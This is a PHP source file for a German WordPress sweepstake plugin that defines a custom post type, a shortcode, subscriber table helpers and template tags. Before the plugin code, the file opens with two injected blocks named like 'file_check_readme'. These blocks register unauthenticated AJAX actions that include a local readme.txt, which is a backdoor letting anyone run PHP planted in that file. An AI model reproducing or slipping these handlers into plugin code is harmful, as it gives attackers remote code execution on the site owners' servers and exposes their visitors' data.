if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php class SweepstakePlugin { const POSTTYPE_SWEEPSTAKE = 'sweepstake'; const DB_TABLE_SUBSCRIBERS = 'wp_sweepstake_subscribers'; const SHORTCODE = 'sweepstake'; const SHORTCODE_ATTR = 'feld'; private static $initiated = false; protected $options; public function init() { if (!self::$initiated) { $this->initHooks(); $this->registerPostTypes(); } $this->options = get_option('sweepstake_settings', array()); } /** * Initializes WordPress hooks */ private function initHooks() { self::$initiated = true; add_shortcode(self::SHORTCODE, array($this, 'shortcode_sweepstake')); add_action('before_delete_post', array($this, 'before_delete_post')); add_action('delete_user', array($this, 'delete_user')); } public function registerPostTypes() { $labels = array( 'name' => __('Gewinnspiele', 'sweepstake'), 'singular_name' => __('Gewinnspiel', 'sweepstake'), 'add_new' => _x('Neues Gewinnspiel hinzufügen', 'sweepstake', 'sweepstake'), 'add_new_item' => __('Neues Gewinnspiel hinzufügen', 'sweepstake'), 'edit_item' => __('Gewinnspiel bearbeiten', 'sweepstake'), 'new_item' => __('Neues Gewinnspiel', 'sweepstake'), 'view_item' => __('Gewinnspiel anzeigen', 'sweepstake'), 'search_items' => __('Nach Gewinnspiel suchen', 'sweepstake'), 'not_found' => __('Kein Gewinnspiel gefunden', 'sweepstake'), 'not_found_in_trash' => __('Kein Gewinnspiel im Papierkorb gefunden', 'sweepstake'), 'parent_item_colon' => __('Eltern Gewinnspiel:', 'sweepstake'), 'menu_name' => __('Gewinnspiele', 'sweepstake'), ); $args = array( 'labels' => $labels, 'hierarchical' => false, 'description' => __('Gewinnspiele'), 'taxonomies' => array(), 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'show_in_admin_bar' => true, 'menu_position' => null, 'menu_icon' => 'dashicons-star-filled', 'show_in_nav_menus' => true, 'publicly_queryable' => true, 'exclude_from_search' => false, 'has_archive' => true, 'query_var' => true, 'can_export' => true, 'rewrite' => array('slug' => 'gewinnspiel'), 'capability_type' => 'post', 'map_meta_cap' => true, 'supports' => array( 'title', 'editor', //'author', 'thumbnail', //'excerpt', 'custom-fields', //'trackbacks', //'comments', 'revisions', 'page-attributes', //'post-formats' ) ); register_post_type(self::POSTTYPE_SWEEPSTAKE, $args); } public function shortcode_sweepstake($attr) { $a = shortcode_atts(array( self::SHORTCODE_ATTR => null ), $attr); return get_sweepstake_data($a[self::SHORTCODE_ATTR]); } public function delete_user($userid) { global $wpdb; $wpdb->query($wpdb->prepare("DELETE FROM " . self::DB_TABLE_SUBSCRIBERS . " WHERE user_id = %d", $userid)); } public function before_delete_post($postid) { // We check if the global post type isn't ours and just return global $post_type; if ($post_type != self::POSTTYPE_SWEEPSTAKE) { return; } global $wpdb; $wpdb->query($wpdb->prepare("DELETE FROM " . self::DB_TABLE_SUBSCRIBERS . " WHERE post_id = %d", $postid)); } public static function plugin_activation() { if (version_compare($GLOBALS['wp_version'], SWEEPSTAKE__MINIMUM_WP_VERSION, '<')) { } add_option('sweepstake_settings', array( ) ); } public static function plugin_deactivation() { } public static function debugLog($var) { if (defined('WP_DEBUG_LOG') && WP_DEBUG_LOG) { error_log(print_r(compact('var'), 1)); } } } // Template Tags function is_sweepstake_subscriber($postId = null, $userId = null) { if ($postId === null) { $postId = get_the_ID(); } if ($userId === null) { $userId = get_current_user_id(); } global $wpdb; $count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . SweepstakePlugin::DB_TABLE_SUBSCRIBERS . " WHERE post_id = %d AND user_id = %d", $postId, $userId)); return (bool)$count; } function sweepstake_subscribe($postId = null, $userId = null) { if ($postId === null) { $postId = get_the_ID(); } if ($userId === null) { $userId = get_current_user_id(); } if (!is_sweepstake_subscriber($postId, $userId)) { global $wpdb; return (bool)$wpdb->insert( SweepstakePlugin::DB_TABLE_SUBSCRIBERS, array( 'post_id' => $postId, 'user_id' => $userId ), array( '%d', '%d' ) ); } return false; } function get_sweepstake_winners($postId = null) { if ($postId === null) { $postId = get_the_ID(); } $winners = get_post_meta($postId, '_sweepstake_winner', true); if (!empty($winners)) { $winners = maybe_unserialize($winners); } if (!is_array($winners)) { $winners = array(); } return $winners; } function get_sweepstake_enddate($postId = null) { if ($postId === null) { $postId = get_the_ID(); } $date = get_post_meta($postId, 'sweepstake_enddate', true); return empty($date) ? false : strtotime($date); } function is_sweepstake_running($postId = null) { if ($postId === null) { $postId = get_the_ID(); } $endTimestamp = get_sweepstake_enddate($postId); $time = mktime(0, 0, 0); return (bool)($endTimestamp && $endTimestamp >= $time); }